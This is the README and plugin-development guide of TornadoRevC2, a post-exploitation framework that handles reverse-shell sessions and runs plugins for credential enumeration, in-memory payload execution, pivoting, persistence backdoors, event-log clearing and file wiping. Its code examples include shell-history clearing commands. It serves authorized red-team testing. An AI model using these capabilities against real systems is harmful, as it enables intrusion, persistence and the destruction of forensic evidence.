Modular post-exploitation framework managing reverse-shell sessions over TCP/TLS/mTLS with plugins for enumeration, in-memory execution, SOCKS5 pivoting, and persistence.
A lightweight, modular post-exploitation framework for authorized security research, red-team operations, and penetration testing. TornadoRevC2 manages reverse shell sessions on Linux and Windows hosts through a unified operator console, extending core session handling with a cross-platform plugin architecture for host enumeration, situational awareness, and operational tasks.
Important: TornadoRevC2 is a session handler and post-exploitation framework—not a beacon-style command-and-control platform. It prioritizes reliable interactive shells, structured operator workflows, and on-demand plugin execution over persistent agent infrastructure.
Use this software only on systems you own or on systems where you have explicit written authorization. You are solely responsible for compliance with applicable laws and organizational policies. The authors and contributors accept no liability for misuse, data loss, or legal consequences arising from the use of this project.
Quick demo: session management, plugin execution, SOCKS5 pivoting.
TornadoRevC2 is a modular reverse shell management framework that accepts inbound connections over plain TCP, server-authenticated TLS, and mutual TLS (mTLS) with client-certificate verification, providing a unified operator console for session management, host reconnaissance, chunked file transfer, in-memory payload execution, SOCKS5 pivoting, plugin-driven post-exploitation, structured reporting, and a built-in update command for automatic Git-based updates and seamless handler restarts. Originally developed as a lightweight reverse shell handler, the project has evolved into an extensible framework in which capabilities such as firewall enumeration, credential store metadata collection, network mapping, browser profiling, and additional post-exploitation functionality are implemented as independent, modular plugins. The framework also includes the make_token plugin for establishing new C2 sessions via remote protocols (SSH, WinRM, SMB, RDP, WMI, MSSQL) using command-line tools from the operator side, with support for custom ports, NTLM hash authentication, and netexec integration, and an upgrade_mtls plugin that migrates a live session onto the mutual-TLS listener by pushing the handler's client certificate bundle to the target.
Supported target platforms: Linux and Windows (primary), with compatibility for generic Unix and BSD environments where applicable.
| Category | Capabilities |
|---|---|
| Session handling | Multi-client TCP / TLS / mTLS listeners with automatic PKI bootstrapping · On-demand mTLS upgrade for live sessions · Interactive PTY/TTY shells · Session fingerprinting and reconnect tracking |
| File transfer | Chunked upload and download · SHA-256 integrity verification |
| Payload execution | In-memory execution for py, ps, exe, elf, bat, and sh |
| Pivoting & tunneling | SOCKS5 proxy through compromised sessions with automatic remote cleanup · Ligolo-NG and Chisel agent deployment with background persistence |
| Remote session establishment | make_token — establish new sessions over SSH, WinRM, SMB, RDP, WMI, and MSSQL from the operator side, with NTLM hash auth and netexec integration |
| Impersonation | runas — execute commands or spawn a TLS-encrypted shell as another user, local or remote, with domain support and netexec integration |
| Enumeration | Covering host triage, network posture, credentials and browser metadata, Kerberos tickets, Linux internals, and Windows domain and system configuration |
| Operational plugins | Multi-pass secure file wiping · Hybrid file encryption · Shell history clearing · Windows event log clearing |
| Persistence | Cross-platform backdoor installation using TLS-encrypted payloads — cron @reboot on Linux/Unix, Run registry on Windows |
| Extensibility | Runtime plugin load, reload, and unload · External plugins via TORNADOREVC2_PLUGIN_DIR · Documented SessionContext API |
| Reporting | Per-session logging · Structured plugin output · HTML transcript export |
| Self-update | Git-based update command with repository verification, fast-forward pull, and automatic handler restart · Fork-friendly, with divergence detection and a safe reset prompt |
Not supported: Task scheduling, or beacon-style callback infrastructure.
TornadoRevC2 is engineered for environments where deployment friction and operational footprint matter.
Plugins leverage native Windows and Linux utilities and built-in system commands already present on the target host—netsh, ss, iptables, ufw, firewall-cmd, nft, PowerShell cmdlets, nmcli, wevtutil, and others. Collectors invoke these tools through the reverse shell channel and parse output remotely, minimizing the need to upload additional binaries or install dependencies.
Plugin operations execute through the existing reverse shell channel and do not require dropping binaries, executables, scripts, or temporary files onto the target system. Enumeration tasks run as native commands or in-process collector scripts; results return as marked JSON over the shell. The only unavoidable artifact is normal command history generated by the shell itself.
When an enumeration routine fails, is unavailable, or times out, the plugin does not abort entirely. The affected section is left empty or marked N/A while the remainder of the report continues.
Handler updates are delivered through Git on the operator machine. The update command uses bounded subprocess timeouts, non-interactive Git settings, and a fast local shutdown path so the handler can restart reliably without blocking on remote session cleanup.
┌─────────────────────────────────────────────────────────────────┐
│ Operator Console (handler) │
│ Sessions · Transfers · SOCKS · Plugins · Logging · Export · │
│ update │
└────────────────────────────┬────────────────────────────────────┘
│ reverse shell channel (TCP / TLS / mTLS)
▼
┌─────────────────────────────────────────────────────────────────┐
│ Target Host │
│ Native commands · PowerShell · inline collectors │
│ __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__ │
└─────────────────────────────────────────────────────────────────┘
TornadoRevC2 runs three independent listeners simultaneously, so implants can connect over plaintext, server-authenticated TLS, or mutually authenticated TLS depending on the engagement's threat model:
| Listener | Default port | Flag | Authentication | Certificates |
|---|---|---|---|---|
| TCP | 4444 | -p | None | None |
| TLS | 8443 | -tp | Server-authenticated | tls_certs/server.pem, tls_certs/server.key |
| mTLS | 9443 | -mp | Mutual (client cert required) | mtls_certs/ bundle (CA + server + client) |
The -H flag sets the bind address shared by all three listeners. All three can be enabled at once; disabling one is not currently required — leave the port free or unbound to ignore it.
Automatic certificate generation. On first launch the handler creates two isolated directories and bootstraps the material it needs:
tls_certs/
server.pem # self-signed server certificate
server.key # server private key
mtls_certs/
ca.pem # mTLS certificate authority (self-signed, 4096-bit RSA)
ca.key # CA private key
ca.srl # OpenSSL serial counter (auto-generated)
server-mtls.pem # server cert signed by CA
server-mtls.key # server private key
client.pem # client cert signed by CA — ship to implant
client.key # client private key — ship to implant
tornadorevc2/plugins/
shared/ Cross-platform plugins with internal Windows/Linux implementations
linux/ Linux/Unix-only plugins and collector builders
windows/ Windows-only plugins (rdp, services, eventlogdel, …)
api.py SessionContext and @plugin.command registration
manager.py Runtime loading, execution, and platform filtering
loader.py Automatic module discovery
Shared plugins (firewall, ports, browser, credstore, and others) exist as single unified modules in shared/. Platform-specific plugins such as rdp and eventlogdel reside exclusively under windows/ or linux/ and are not duplicated in shared/.
Collectors emit JSON wrapped in marker tokens (__T_PLUGIN_START__ / __T_PLUGIN_END__). The shared runner parses this output, formats an operator-facing report, and persists results under the session log directory.
Handler (operator machine):
update operator command)git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py
# Default: TCP on 4444, TLS on 8443, mTLS on 9443
python tornadorevc2.py
# Custom bind address and ports for all three listeners
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 -mp 9443
# Point to your own certificate material
python tornadorevc2.py \
-c tls_certs/server.pem -k tls_certs/server.key \
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key \
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key \
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
Deploy a reverse shell from the built-in catalog (payloads) or use your own implant. On connect, TornadoRevC2 assigns a session ID and begins logging under logs/.
status # List active sessions
switch 1 # Attach to session 1
sysinfo 1 # Collect host metadata
run credstore 1 # Credential store metadata
run memorymap 1 1234 # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh # In-memory script execution
update # Pull latest from GitHub and restart (Git installs)
When attached via switch <ID>, omit the session ID from subsequent commands (run quickenum instead of run quickenum 1). Plugin listings and TAB completion inside a client session are filtered to plugins compatible with that session's platform.
The update command is available from the main handler prompt only. It verifies that Git is installed, confirms the installation is a Git working tree, fetches from the configured remote, fast-forward pulls when updates exist, and restarts the handler with the same executable and arguments. If the installation is already current, it prints TornadoRevC2 is already running the latest version. and leaves the server running.
| Command | Description |
|---|---|
status / ls | List active reverse shell sessions |
sessions | Show tracked sessions, including disconnected hosts |
reconnects | Display session reconnect history |
switch <ID> | Attach to an interactive session shell |
kill <ID> | Terminate a session |
rename <ID> <name> / rn <ID> <name> | Assign a friendly name |
sysinfo <ID> [--stealth|--full] | Collect or refresh host information |
export <ID> | Export an HTML session transcript |
| Command | Description |
|---|---|
plugins / plugins list | List registered plugins |
plugins list --verbose | Show module paths and load state |
plugins load <name> | Load an external plugin at runtime |
plugins unload <name> | Disable or unload a plugin |
plugins reload <name> | Reload a plugin module |
plugins info <name> | Display plugin metadata |
run <plugin> <ID> [args...] | Execute a plugin against a session |
| Command | Description |
|---|---|
upload [--resume] <ID> <local> <remote> | Upload with chunked transfer |
download [--resume] <ID> <remote> <local> | Download with chunked transfer |
verify <ID> <remote> / hash <ID> <remote> | Verify remote file size and SHA-256 |
| Command | Description |
|---|---|
run inmemory <ID> <type> <local_file> [-- args] [--save-output <file>] | Execute payload in memory |
Supported types: py, ps, exe, elf, bat, sh
| Command | In-session form | Description |
|---|---|---|
socks <ID> <listen_port> | socks <listen_port> | Start a SOCKS5 proxy through a session (local listener on 127.0.0.1:<listen_port>) |
socks <ID> test <host> <port> | socks test <host> <port> | Test TCP reachability to an internal host through the tunnel agent |
socks <ID> reset | socks reset | Reset tunnel agent streams and discard buffered data (does not stop active SOCKS listeners) |
socks stop <proxy_id> | socks stop <proxy_id> | Stop a SOCKS proxy and clean up remote tunnel artifacts when no other proxy uses the session |
tunnels | tunnels | List active SOCKS proxies, channel count, and status |
| Command | Description |
|---|---|
payloads | Display the built-in payload reference |
update | Check for updates from the official GitHub repository and restart after a successful fast-forward pull (requires Git; main menu only) |
help | Show the command reference |
exit / quit | Shut down the handler |
TornadoRevC2 ships with 51 built-in plugins organized by function. All enumeration related plugins are read-only unless noted otherwise.
| Plugin | Platform | Description |
|---|---|---|
quickenum | Cross-platform | Fast structured host triage: identity, network, environment, prioritized findings |
virtualization | Cross-platform | Virtualization, container, orchestration, and cloud environment detection |
kernel | Cross-platform | Kernel version, loaded modules/drivers, security mitigations, and kernel configuration |
integrity | Cross-platform | Secure Boot, BitLocker/LUKS, code-signing enforcement, kernel lockdown, and integrity protections |
filesearch | Cross-platform | Search files by path, name, ext, size, owner, mtime (run filesearch help for options) |
packages | Cross-platform | Installed software, package managers, repository configuration, and recent installs |
sysinfo | Cross-platform | Host metadata collection (handler command, not a plugin) |
kerberosenum | Cross-platform | Kerberos ticket metadata: caches, default principal, realm, TGT, service tickets, encryption types, flags (renewable/forwardable), keytab files, krb5.conf/registry config, and environment variables (no secrets) |
| Plugin | Platform | Description |
|---|---|---|
firewall | Cross-platform | Firewall status, profiles/zones, policies, and notable rules (WDF, UFW, firewalld, nftables, iptables) |
ports | Cross-platform | Listening ports, established connections, owning processes, and routing |
proxy | Cross-platform | System, environment, PAC/WPAD, and browser proxy settings |
vpn | Cross-platform | VPN clients, active connections, adapters, and configuration metadata |
| Plugin | Platform | Description |
|---|---|---|
credstore | Cross-platform | Credential store metadata (no secret extraction): Credential Manager, keyrings, browser stores |
browser | Cross-platform | Installed browsers, profiles, extensions, bookmarks, and enterprise policies |
clipboard | Cross-platform | Remote clipboard text capture |
secrets | Linux/Unix | Configuration files, environment variables, SSH keys, and cloud credentials |
| Plugin | Platform | Description |
|---|---|---|
history | Cross-platform | Shell history, package/update logs, and recent login activity |
mounts | Cross-platform | Mount points, SMB/NFS shares, mapped drives, container filesystems |
memorymap | Cross-platform | Process memory maps and loaded modules for a specified PID |
screenshot | Cross-platform | Desktop capture returned to the operator (GUI sessions; PNG saved locally) |
cron | Linux/Unix | Cron jobs, system crontabs, user crontabs, and at queues |
systemd | Linux/Unix | Services, timers, failed units, and enabled startup units |
privbins | Linux/Unix | SUID/SGID binaries, file capabilities, and privilege-escalation-relevant executables |
lsm | Linux/Unix | SELinux, AppArmor, and other Linux Security Modules: enforcement mode, policies, and configuration |
journal | Linux/Unix | Structured journalctl summaries: authentication, kernel, service failures, and recent events |
sshaudit | Linux/Unix | SSH server enumeration: effective sshd config, auth surface, pivoting options, host keys, authorized_keys, and CA trust |
containers | Linux/Unix | Container runtimes and workloads: Docker, Podman, containerd, CRI-O, LXC/LXD, and Kubernetes indicators |
usersessions | Cross-platform | Active local, remote, SSH, RDP, console, and service sessions with login/source metadata |
| Plugin | Platform | Description |
|---|---|---|
adinfo | Windows | Domain membership, domain controllers, forests, trusts, and OUs |
services | Windows | Windows services, startup types, binaries, and service accounts |
scheduledtasks | Windows | Scheduled tasks, triggers, execution context, and actions |
registry | Windows | Autorun keys, startup locations, and installed software |
eventlogs | Windows | Security, System, Application, and PowerShell log summaries |
defender | Windows | Microsoft Defender status, exclusions, ASR rules, and third-party AV |
certificates | Windows | Certificate stores, code-signing, and enterprise certificates |
rdp | Windows | Remote Desktop configuration, status, recent targets, and settings |
gpo | Windows | Applied GPOs, local/domain security policies, AppLocker, WDAC, SRP, and GPO scripts |
winrm | Windows | WinRM configuration, listeners, authentication methods, firewall integration, and remoting status |
drivers | Windows | Installed drivers and kernel modules, signed/unsigned status, startup type, and notable security/VM drivers |
powershell | Windows | PowerShell version, execution policy, logging, modules, remoting settings, and profile paths |
lsa | Windows | LSA protection, Credential Guard, virtualization-based security, and credential security configuration |
| Plugin | Platform | Description |
|---|---|---|
inmemory | Cross-platform | In-memory payload execution (py, ps, exe, elf, bat, sh) |
make_token | Cross-platform | Establish C2 sessions via remote protocols (SSH, WinRM, SMB, RDP, WMI, MSSQL) using CLI tools from operator side with support for custom ports, NTLM hashes, and netexec integration |
nullcrypt | Cross-platform | Hybrid encrypt a file (AES-GCM + RSA-wrapped key) then securely wipe the original via wiper |
wiper | Cross-platform | Configurable multi-pass secure overwrite (rename, truncate, delete); profiles: quick, standard, dod, thorough, shred |
historydel | Cross-platform | Clear current user shell history files and related storage |
eventlogdel | Windows | Clear Windows Event Logs via native wevtutil / Clear-EventLog |
runas | Windows | Execute commands or spawn a TLS‑encrypted reverse shell as another user (local/remote) with credential management, domain support, and netexec integration |
ligolong | Cross‑platform | Deploy Ligolo‑NG tunneling agent to Linux/Windows targets with background persistence |
chisel | Cross‑platform | Deploy Chisel tunneling agent in reverse (client) or bind (server) mode; supports SOCKS5 and background persistence |
persistence | Cross‑platform | Install a persistent reverse shell backdoor (cron @reboot / Run registry) using TLS‑encrypted payload |
upgrade_mtls | Cross‑platform | Push the handler's mTLS client bundle to a session and relaunch it over the mTLS listener (opt-in; does not affect other listeners) |
In-memory execution methods:
| Type | Method |
|---|---|
py | Python via exec(compile(...)) |
ps | PowerShell via Invoke-Expression |
exe | Windows PE via in-memory RunPE (process hollowing) |
elf | Linux ELF via memfd_create with /dev/shm fallback |
sh | Shell script streamed via bash -s |
bat | Batch script streamed via cmd.exe /Q stdin |
PEASS-ng scripts for in-memory privesccheck: github.com/carlospolop/PEASS-ng
This section describes how to extend TornadoRevC2 with custom plugins. Plugins are plain Python modules that register commands with @plugin.command and receive a SessionContext for the target session. No changes to core handler code are required.
The plugin system has four layers:
| Layer | Module | Responsibility |
|---|---|---|
| Registration | plugins/api.py | @plugin.command decorator, global command registry, SessionContext |
| Discovery | plugins/loader.py | Scans shared/, linux/, windows/, and external directories; imports modules |
| Execution | plugins/manager.py | Resolves platform, builds context, invokes handler, handles errors |
| Collectors | plugins/shared/runner.py | Marker parsing, JSON extraction, report formatting, logging |
At import time, the @plugin.command decorator registers each handler in a thread-safe global registry. At runtime, PluginManager.run_plugin() validates platform compatibility, constructs a SessionContext, and calls the handler with (session, args).
Handlers return an integer exit code: 0 for success, non-zero for failure. The handler console displays warnings for non-zero returns.
Choose a location based on platform scope and whether the plugin ships with the project:
| Location | Scope | Loaded |
|---|---|---|
tornadorevc2/plugins/shared/ | Cross-platform (internal Windows + Linux implementations) | Automatically at startup |
tornadorevc2/plugins/linux/ | Linux/Unix only | Automatically at startup |
tornadorevc2/plugins/windows/ | Windows only | Automatically at startup |
./plugins/myplugin.py | External (any scope you define) | On demand via plugins load |
./plugins/myplugin/__init__.py | External package | On demand via plugins load |
Path in TORNADOREVC2_PLUGIN_DIR | External (custom directory) | On demand via plugins load |
Layout rules:
common.py, runner.py, and __init__.py under shared/ are skipped during discovery._ under linux/ or windows/ are helper modules, not plugins.shared/ with internal platform branching—do not duplicate cross-platform plugins in both shared/ and linux//windows/.rdp, eventlogdel) belong exclusively in windows/ or linux/.Register a command with the @plugin.command decorator:
from tornadorevc2.plugins import plugin, SessionContext
@plugin.command(
name="myplugin", # Command name used with `run myplugin <ID>`
platforms=["linux", "windows", "unix"], # Supported session platforms
description="Short description for plugins list and TAB completion",
)
def run(session: SessionContext, args):
...
return 0 # 0 = success, non-zero = failure
Platform values: linux, windows, unix. Linux and unix are treated as compatible— a plugin registered for linux runs on both. Default if omitted: ["linux", "windows", "unix"].
Multiple commands per module: A single file may register several commands by applying @plugin.command to multiple functions. Each gets an independent name.
When an operator runs run myplugin 1 arg1 arg2:
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)
Inside an attached session (switch <ID>), the session ID is omitted and args start immediately after the plugin name: run myplugin arg1 arg2.
Use when you need a quick one-off command without structured JSON parsing. The handler runs a native shell command, prints output, and logs the result.
from tornadorevc2.plugins import plugin, SessionContext
@plugin.command(
name="whoami",
platforms=["linux", "windows", "unix"],
description="Print remote user identity",
)
def run(session: SessionContext, args):
session.log_event("Plugin whoami: started")
if session.is_windows:
cmd = "whoami /all"
else:
cmd = "id 2>/dev/null || whoami"
output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
session.print("Plugin 'whoami' failed — no output from target.", "red")
session.log_plugin_result("whoami", "", "no output")
return 1
report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0
When to use: Simple probes, one-liner enumeration, commands that do not need structured reports.
Key methods: session.run_shell(cmd, timeout), session.print(text, color), session.log_plugin_result(name, report, detail='').
Use for enumeration plugins that gather structured data on the target and return a formatted report. This is the pattern used by all built-in reconnaissance plugins (firewall, ports, browser, etc.).
Flow:
Handler Target host
│ │
├─ session.log_event("started") │
├─ flush shell buffer │
├─ resolve platform (unix/windows) │
├─ build collector command/script ─────►│ Linux: inline Python or native shell
│ │ Windows: PowerShell script in-process
│ ├─ invoke native OS commands
│ ├─ assemble result dict
│ └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
│◄──────────────────────────────────────┤
├─ parse_collector_json(raw) │
├─ formatter(data) → report string │
├─ session.print(report) │
└─ session.log_plugin_result(...) │
Minimal cross-platform example:
from tornadorevc2.plugins import plugin, SessionContext
from tornadorevc2.plugins.linux._helpers import build_linux_collector_command
from tornadorevc2.plugins.shared.common import format_generic_report
from tornadorevc2.plugins.shared.runner import run_collector_plugin
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _linux_collector_source():
# Runs inside a try/except wrapper on the target.
# Call _emit(result) with a JSON-serializable dict — do NOT print markers yourself.
return r'''
import subprocess
result = {'summary': {}, 'processes': []}
try:
out = subprocess.check_output(['ps', 'auxww'], stderr=subprocess.STDOUT, timeout=10)
lines = out.decode('utf-8', errors='replace').splitlines()
result['summary'] = {'count': max(0, len(lines) - 1)}
result['processes'] = lines[1:51]
except Exception as exc:
result['summary'] = {'error': str(exc)}
_emit(result)
'''
def _build_linux_command():
return build_linux_collector_command(_linux_collector_source())
def _build_windows_command():
return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$procs = Get-CimInstance Win32_Process -EA 0 |
Select-Object -First 50 ProcessId, Name, CommandLine
$result = [ordered]@{{
summary = @{{ count = @($procs).Count }}
processes = @($procs)
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 4 -Compress) + $end)
"""
@plugin.command(
name="processes",
platforms=["linux", "windows", "unix"],
description="List running processes on the remote host",
)
def run(session: SessionContext, args):
return run_collector_plugin(
session,
"processes",
_build_linux_command, # callable — built at execution time
_build_windows_command, # callable — built at execution time
format_generic_report, # turns parsed dict into operator-facing text
timeout=25.0, # seconds to wait for marked output
)
run_collector_plugin parameters:
| Parameter | Type | Description |
|---|---|---|
session | SessionContext | Target session |
plugin_name | str | Name used in logs and error messages |
unix_builder | Callable[[], str] or None | Returns the Unix/Linux shell command; None if unavailable |
win_builder | Callable[[], str] or None | Returns the PowerShell script; None if unavailable |
formatter | Callable[[dict], str] | Converts parsed JSON dict to a report string |
timeout | float | Maximum seconds to wait for marked output (default 30) |
Pass None for a platform builder to mark the plugin unavailable on that OS (see Platform-specific plugins).
After saving an external plugin:
plugins load processes
plugins info processes
run processes 1
Use when you need argument validation, dynamic collector construction, post-collector processing, or operator-side file handling that run_collector_plugin does not cover alone.
Examples in the codebase:
| Plugin | Custom behavior |
|---|---|
memorymap | Requires PID argument; builds collector dynamically with embedded PID |
wiper | Requires remote path; destructive action with confirmation output |
screenshot | Decodes base64 image and saves PNG locally on the operator machine |
historydel | Runs collector, then sends follow-up shell command for in-memory history cleanup |
clipboard | Custom soft-failure handling via reason field instead of hard error |
Argument validation example (from memorymap):
import re
from tornadorevc2.plugins import plugin, SessionContext
from tornadorevc2.plugins.shared.runner import _run_collector_marked, parse_collector_json
@plugin.command(
name="memorymap",
platforms=["linux", "windows", "unix"],
description="Enumerate memory maps for a process (requires PID)",
)
def run(session: SessionContext, args):
if not args or not re.match(r"^\d+$", args[0].strip()):
session.print("Usage: run memorymap <ID> <pid>", "yellow")
return 1
pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)
unix_cmd = _build_linux_command(pid) # builder accepts runtime args
win_ps = _build_windows_command(pid)
raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
session.print("Plugin 'memorymap' failed — no response from target.", "red")
return 1
data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0
Post-collector processing example (from historydel):
def run(session: SessionContext, args):
# ... run collector via _run_collector_marked ...
data = parse_collector_json(raw)
# Additional in-memory cleanup in the interactive shell
if session.is_unix:
session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
elif session.is_windows:
session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)
report = format_historydel_report(data)
session.print(report, "green" if data.get("cleared") else "yellow")
return 0
For direct access to marked execution without the full collector wrapper, use _run_collector_marked and parse_collector_json from plugins/shared/runner.py.
Linux collectors are Python source strings executed on the target via build_linux_collector_command().
Structure:
_linux_collector_source() returning a raw string (r'''...''').result dict._emit(result) at the end — never print markers manually._build_linux_command() → build_linux_collector_command(source).The wrapper in linux/_helpers.py automatically:
try/except block_emit(obj) to write __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__{"error": "...", "traceback": "..."} on unhandled exceptionspython3 -c (or python2 fallback)/tmp staging only when the encoded payload exceeds ~4000 bytesPrefer native commands:
def sh(cmd, timeout=5):
try:
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=timeout)
return out.decode("utf-8", "ignore")
except Exception:
return ""
result = {"summary": {}, "ports": []}
output = sh("ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null", 10)
for line in output.splitlines()[:60]:
result["ports"].append(line.strip())
_emit(result)
Guidelines:
subprocess.check_output(..., timeout=N) for every external command.history plugin scrubs __T_PLUGIN_*__ from collected text for this reason./tmp staging.Windows collectors are PowerShell script strings returned from _build_windows_command().
Structure:
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _build_windows_command():
return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
summary = @{{ count = 0 }}
items = @()
}}
try {{
Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
$result.items += @{{ name = $_.Name; state = $_.State }}
}}
$result.summary.count = $result.items.Count
}} catch {{
$result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""
Guidelines:
$ErrorActionPreference='SilentlyContinue' at the top.-EA 0 (ErrorAction SilentlyContinue) on cmdlets that may fail on older systems.{{ and }} for PowerShell hashtables and script blocks.[ordered]@{{...}} to preserve key order in JSON output.Get-NetTCPConnection, Get-Process, netsh, wevtutil) over external tools.try/catch so one failure does not abort the entire collector.win_client.py for reliable output capture.Alternative: For Windows-only plugins with minimal entry points, use a single build_command() function:
# tornadorevc2/plugins/windows/services.py
@plugin.command(name="services", platforms=["windows"], description="...")
def run(session: SessionContext, args):
return run_collector_plugin(session, "services", None, build_command, format_generic_report, timeout=35.0)
Collectors should return a JSON-serializable dict. The runner and formatters expect consistent key usage:
| Key | Type | Purpose |
|---|---|---|
summary | dict | High-level counts and stats; rendered first by format_generic_report() |
error | str | Hard failure — runner prints error and returns exit code 1 |
traceback | str | Optional; logged as detail when error is set |
reason | str | Soft failure — use with custom formatters (e.g. clipboard unavailable) |
ok | bool | Success flag for operational plugins (screenshot, clipboard) |
Lists of dict | list | Rendered as tables by format_generic_report() |
Lists of str | list | Rendered as bullet lists |
Nested dict | dict | Rendered as labeled sections |
Graceful degradation: For multi-section enumeration, use separate dict keys per section and catch exceptions locally. Do not set top-level error unless the entire collector failed—partial results are preferable.
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty
Pass a custom formatter to run_collector_plugin instead of format_generic_report:
from tornadorevc2.plugins.shared.common import format_section, format_list_section
def format_firewall_report(data: dict) -> str:
sections = []
summary = data.get("summary") or {}
if summary:
sections.append(format_section("Summary", summary))
for key in ("ufw", "iptables", "windows_defender_firewall"):
block = data.get(key)
if isinstance(block, dict) and block:
sections.append(format_section(key.replace("_", " ").title(), block))
if not sections:
return "Firewall: no data collected."
return "\n\n".join(sections)
Reusable helpers in plugins/shared/common.py:
| Function | Purpose |
|---|---|
format_generic_report(data, title='Results') | Default table/section renderer |
format_section(title, fields, width=22) | Key-value section |
format_list_section(title, items, empty='(none)') | Bulleted list |
format_table_section(title, rows, columns) | Dict rows as columns |
format_firewall_report, format_memorymap_report, etc. | Plugin-specific formatters |
Windows-only:
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
return run_collector_plugin(
session, "rdp",
None, # no Linux builder
build_command,
format_generic_report,
timeout=35.0,
)
Linux-only:
@plugin.command(name="cron", platforms=["linux", "unix"], description="...")
def run(session: SessionContext, args):
return run_collector_plugin(
session, "cron",
build_linux_command,
None, # no Windows builder
format_generic_report,
timeout=30.0,
)
Cross-platform with split builders:
Some shared plugins delegate to platform-specific builder modules (e.g. virtualization imports from linux/virtualization.py and windows/virtualization.py). The @plugin.command entry point stays in shared/; builder modules under linux/ or windows/ contain no decorator and are not registered as independent plugins.
External plugins let you extend TornadoRevC2 without modifying the repository.
Setup:
# Default location (created automatically if missing)
./plugins/myplugin.py
# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins
Workflow:
# From the handler console
plugins load myplugin # import and register commands
plugins info myplugin # verify name, platforms, description, module path
run myplugin 1 # execute against session 1
run myplugin 1 --verbose # extra args passed to handler as args=["--verbose"]
plugins reload myplugin # re-import after editing (clears stale registrations)
plugins unload myplugin # fully unload external plugin
External vs built-in lifecycle:
| Action | Built-in plugin | External plugin |
|---|---|---|
plugins unload | Soft-disabled (module stays imported) | Fully unloaded and unregistered |
plugins reload | Re-imports module, clears stale command registrations | Removes from sys.modules, re-imports from disk |
| Startup | Auto-loaded | Loaded on demand |
External modules are imported as tornado_ext_plugin_<name> to avoid namespace collisions.
Every handler receives a SessionContext wrapping the handler and client socket:
Metadata properties:
| Property | Type | Description |
|---|---|---|
session_id | str | Assigned session identifier |
platform | str | unix, windows, or unknown |
is_windows / is_unix | bool | Platform convenience flags |
sysinfo | dict | Cached host information from sysinfo collection |
identity | dict | Session identity/fingerprint metadata |
addr | tuple | Remote address |
tls | bool | Whether session uses TLS |
name | str | Operator-assigned friendly name |
fingerprint | str | Stable host fingerprint |
logger | SessionLogger | Per-session log writer (may be None) |
colors | dict | Console color codes |
socket | socket | Raw client socket (advanced use) |
Execution methods:
| Method | Description |
|---|---|
run_shell(cmd, timeout=15.0) | Send command, wait for output, return string |
run_shell_streaming(cmd, timeout, idle_timeout, on_chunk) | Stream output with idle detection; useful for long-running commands |
run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws) | Execute platform-appropriate command and extract marked payload |
get_cwd() | Return remote working directory |
collect_sysinfo(mode='stealth') | Trigger host info collection |
Transfer methods:
| Method | Description |
|---|---|
upload(local_path, remote_path, resume=False) | Upload file to target |
download(remote_path, local_path, resume=False) | Download file from target |
verify_remote(remote_path) | Verify remote file size and SHA-256 |
Logging and output:
| Method | Description |
|---|---|
print(text, color=None) | Print to operator console with optional color (red, green, yellow, cyan) |
log_event(message) | Append timestamped event to session.log |
log_command(cmd, output) | Log command and output to session.log |
log_plugin_result(name, report, detail='') | Write report to logs/<session>/plugins/<name>_<timestamp>.log |
| Return | Meaning | Handler behavior |
|---|---|---|
0 | Success | No warning displayed |
1 (or any non-zero) | Failure | Yellow warning: Plugin 'name' returned code N |
| Uncaught exception | Error | Red error message; logged to session log |
Collector failure modes (handled by run_collector_plugin):
| Condition | Behavior |
|---|---|
| Timeout / no markers in output | Exit 1, log "no response" |
| Output not valid JSON | Exit 1, log raw output (truncated) as detail |
data["error"] present | Exit 1, print error and traceback |
| Partial section failures | Should not set top-level error; leave section empty |
Soft failures (operational plugins): Use reason or ok: false and handle in a custom formatter or custom handler rather than relying on the runner's hard error check.
session.log_event() at start, session.log_plugin_result() on completion, session.log_command() for transcript export.run plugin <ID>) and attached session (switch then run plugin).plugins reload during development to pick up changes without restarting the handler.| Plugin | File | Pattern | Notes |
|---|---|---|---|
firewall | plugins/shared/firewall.py | Cross-platform collector | Multi-backend graceful degradation |
